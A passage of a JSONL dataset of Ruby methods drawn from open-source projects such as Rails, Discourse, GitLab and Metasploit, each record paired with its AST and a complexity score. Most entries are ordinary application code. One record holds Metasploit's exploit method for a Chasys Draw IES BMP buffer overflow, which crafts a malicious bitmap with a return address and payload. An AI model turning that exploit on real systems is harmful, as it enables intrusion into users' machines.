]},{\"type\":\"str\",\"children\":[\"0\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"16711680\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]}]},{\"type\":\"str\",\"children\":[\"' file ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"file_create\",{\"type\":\"lvar\",\"children\":[\"plp\"]}]}]}]}","id":"5ce0f3e1-c975-408c-a23d-f749bda959a4"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/content_type_test.rb","start_line":68,"raw_source":"def setup\n super\n # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get\n # a more accurate simulation of what happens in \"real life\".\n @controller.logger = ActiveSupport::Logger.new(nil)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"logger=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Logger\"]},\"new\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"63b8a29b-a02c-4e13-aa82-489a8fc0edc4"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module/ui/message.rb","start_line":14,"raw_source":"def print_good(msg='', prefix: nil)\n msg_prefix = prefix.nil? ? print_prefix : prefix\n super(msg_prefix + msg)\n end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"print_good\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"prefix\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg_prefix\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"print_prefix\"]},{\"type\":\"lvar\",\"children\":[\"prefix\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg_prefix\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}","id":"12ba38db-e44d-4916-bbc9-cfb885285214"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/models/shared_ai_conversation.rb","start_line":132,"raw_source":"def formatted_excerpt\n I18n.t(\"discourse_ai.share_ai.formatted_excerpt\", llm_name: llm_name, excerpt: excerpt)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_excerpt\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"discourse_ai.share_ai.formatted_excerpt\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"llm_name\"]},{\"type\":\"send\",\"children\":[null,\"llm_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"excerpt\"]},{\"type\":\"send\",\"children\":[null,\"excerpt\"]}]}]}]}]}","id":"72ff630a-0ea5-4e03-bc6a-6ff996fe8bdd"}
+{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/tunes/tunes.rb","start_line":1017,"raw_source":"def post_app_store_version_release_request(app_store_version_id: nil)\n body = {\n data: {\n type: \"appStoreVersionReleaseRequests\",\n relationships: {\n appStoreVersion: {\n data: {\n type: \"appStoreVersions\",\n id: app_store_version_id\n }\n }\n }\n }\n }\n\n tunes_request_client.post(\"#{Version::V1}/appStoreVersionReleaseRequests\", body)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"post_app_store_version_release_request\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"app_store_version_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"appStoreVersionReleaseRequests\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relationships\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"appStoreVersion\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"appStoreVersions\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"app_store_version_id\"]}]}]}]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tunes_request_client\"]},\"post\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"V1\"]}]},{\"type\":\"str\",\"children\":[\"/appStoreVersionReleaseRequests\"]}]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"59479e27-6363-4c20-aa33-f7711d0c7f48"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/os_process.rb","start_line":15,"raw_source":"def self.xml_to_hashes(xmlNode, findPath)\n result = []\n if xmlNode.kind_of?(Hash)\n xmlNode.each_pair { |_k, v| result << v }\n else\n el = XmlFind.findElement(findPath, xmlNode.root)\n return nil unless MiqXml.isXmlElement?(el)\n\n el.each_element { |e| result << e.attributes.to_h }\n end\n result\n end","complexity_score":19.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"xml_to_hashes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xmlNode\"]},{\"type\":\"arg\",\"children\":[\"findPath\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlNode\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlNode\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"el\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"XmlFind\"]},\"findElement\",{\"type\":\"lvar\",\"children\":[\"findPath\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlNode\"]},\"root\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqXml\"]},\"isXmlElement?\",{\"type\":\"lvar\",\"children\":[\"el\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"el\"]},\"each_element\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"attributes\"]},\"to_h\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"8e381158-6b8a-47aa-bc00-ea140027244a"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_json/faster_converter.rb","start_line":104,"raw_source":"def unwrap(value)\n case value\n in [element] then element\n else value\n end\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unwrap\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"array_pattern\",\"children\":[{\"type\":\"match_var\",\"children\":[\"element\"]}]},null,{\"type\":\"lvar\",\"children\":[\"element\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"dda72435-e2cd-4b9c-8382-67a3fbe36a61"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/preloader/branch.rb","start_line":80,"raw_source":"def grouped_records\n h = {}\n polymorphic_parent = !root? && parent.polymorphic?\n source_records.each do |record|\n reflection = record.class._reflect_on_association(association)\n next if polymorphic_parent && !reflection || !record.association(association).klass\n (h[reflection] ||= []) << record\n end\n h\n end","complexity_score":28.9,"ast_json":"{\"type\":\"def\",\"children\":[\"grouped_records\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"h\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"polymorphic_parent\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"polymorphic?\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_records\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reflection\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"class\"]},\"_reflect_on_association\",{\"type\":\"send\",\"children\":[null,\"association\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"polymorphic_parent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"association\",{\"type\":\"send\",\"children\":[null,\"association\"]}]},\"klass\"]},\"!\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"reflection\"]}]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"h\"]}]}]}","id":"a3e80ef1-342b-42e5-9707-e1f9e945dfba"}
+{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":407,"raw_source":"def test_file_field_tag\n assert_dom_equal \"\", file_field_tag(\"picsplz\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_file_field_tag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[null,\"file_field_tag\",{\"type\":\"str\",\"children\":[\"picsplz\"]}]}]}]}","id":"9c1efd49-b560-4015-a02e-b7064858781d"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/topic_view_serializer.rb","start_line":176,"raw_source":"def unpinned\n PinnedCheck.unpinned?(object.topic, object.topic_user)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unpinned\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PinnedCheck\"]},\"unpinned?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic_user\"]}]}]}","id":"4d565770-70d5-465c-b41b-8490889bd123"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb","start_line":71,"raw_source":"def exploit\n bof = rand_text(target['Offset'])\n bof << [target.ret].pack(\"V\")\n bof << payload.encoded\n\n bitmap_header = \"\"\n bitmap_header << [0x28].pack(\"V\") # HeaderSize\n bitmap_header << [0x4a3].pack(\"V\") # Width # Used to trigger the overflow\n bitmap_header << [0x1].pack(\"V\") # Height\n bitmap_header << [0x9].pack(\"v\") # Planes # Used to trigger the overflow\n bitmap_header << [0x41].pack(\"v\") # BitCount # Used to trigger the overflow\n bitmap_header << [0x0].pack(\"V\") # Compression\n bitmap_header << [bof.length].pack(\"V\") # SizeImage\n bitmap_header << [0x0].pack(\"V\") # PelsPerMeterX\n bitmap_header << [0x0].pack(\"V\") # PelsPerMeterY\n bitmap_header << [0x0].pack(\"V\") # ClrUse\n bitmap_header << [0x0].pack(\"V\") # ClrImportant\n\n total_size = bof.length + bitmap_header.length + 14 # 14 => file header length\n\n file_header = \"\"\n file_header << \"BM\" # Signature\n file_header << [total_size].pack(\"V\") # Size\n file_header << [0].pack(\"V\") # Reserved\n file_header << [0x36].pack(\"V\") # BitsOffsets\n\n bmp = file_header + bitmap_header + bof\n file_create(bmp)\n end","complexity_score":61.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bof\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bof\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bof\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bitmap_header\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[40]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1187]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[9]}]},\"pack\",{\"type\":\"str\",\"children\":[\"v\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[65]}]},\"pack\",{\"type\":\"str\",\"children\":[\"v\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bof\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"total_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bof\"]},\"length\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"length\"]}]},\"+\",{\"type\":\"int\",\"children\":[14]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_header\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_header\"]},\"<<\",{\"type\":\"str\",\"children\":[\"BM\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total_size\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[54]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bmp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_header\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"bof\"]}]}]},{\"type\":\"send\",\"children\":[null,\"file_create\",{\"type\":\"lvar\",\"children\":[\"bmp\"]}]}]}]}","id":"00ef8abb-3737-48fe-bbdc-037edb15f41c"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/jobs/regular/chat/notify_watching_spec.rb","start_line":25,"raw_source":"def track_core_notification(user:, message:, type: ::Notification.types[:chat_watched_thread])\n described_class.new.execute(chat_message_id: message.id)\n Notification.where(user: user, notification_type: type).last\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"track_core_notification\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"message\"]},{\"type\":\"kwoptarg\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Notification\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"chat_watched_thread\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\"]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_message_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},\"last\"]}]}]}","id":"44272ea3-2c7b-484d-a20b-bd369bcaf004"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/bulk_update.rb","start_line":50,"raw_source":"def update!\n connection.exec_update(sql, log_name, params)\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"exec_update\",{\"type\":\"send\",\"children\":[null,\"sql\"]},{\"type\":\"send\",\"children\":[null,\"log_name\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}","id":"2d51eade-f9ee-4246-abaf-8f74eb47c840"}
+{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/auth/default_current_user_provider_spec.rb","start_line":12,"raw_source":"def cookie_jar\n @cookie_jar ||= ActionDispatch::Request.new(env).cookie_jar\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cookie_jar\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cookie_jar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Request\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"env\"]}]},\"cookie_jar\"]}]}]}","id":"4420d685-0a4d-4cea-907c-d7d69800afb9"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/atlassian/jira_connect/serializers/deployment_entity.rb","start_line":112,"raw_source":"def update_sequence_id\n options[:update_sequence_id] || Client.generate_update_sequence_id\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"update_sequence_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"update_sequence_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Client\"]},\"generate_update_sequence_id\"]}]}]}","id":"791b6561-ae84-4102-8a32-cfa42f5fae1a"}
+{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/image.rb","start_line":53,"raw_source":"def plp_url\n generate_url(size: self.class.styles[:plp_and_carousel])\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"plp_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"generate_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"styles\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"plp_and_carousel\"]}]}]}]}]}]}","id":"172cde24-3fea-4cdb-83ff-6c766a9580b9"}
+{"repo_name":"openproject","file_path":"./repos/openproject/spec/services/work_packages/update_ancestors/loader_spec.rb","start_line":239,"raw_source":"def work_package_struct(work_package)\n attribute_names = WorkPackages::UpdateAncestors::Loader::WorkPackageLikeStruct.members.map(&:to_s)\n attributes = work_package.attributes.slice(*attribute_names)\n attributes[:status_excluded_from_totals] = false\n WorkPackages::UpdateAncestors::Loader::WorkPackageLikeStruct.new(**attributes)\n end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_struct\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attribute_names\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"UpdateAncestors\"]},\"Loader\"]},\"WorkPackageLikeStruct\"]},\"members\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"attributes\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_names\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"status_excluded_from_totals\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"UpdateAncestors\"]},\"Loader\"]},\"WorkPackageLikeStruct\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}]}]}","id":"b22e5920-71d7-4b64-8f55-ec36f4a61bef"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/omniauth_helper.rb","start_line":36,"raw_source":"def direct_login_provider_url(params = {})\n omni_auth_start_url(direct_login_provider, params)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"direct_login_provider_url\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"omni_auth_start_url\",{\"type\":\"send\",\"children\":[null,\"direct_login_provider\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}","id":"437aa383-c604-47c4-93ce-5f3ce12e0489"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/topic_view_serializer.rb","start_line":127,"raw_source":"def include_message_archived?\n object.personal_message\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_message_archived?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"personal_message\"]}]}","id":"1e0049c9-6a25-41f5-bc1b-0bc1804343cf"}
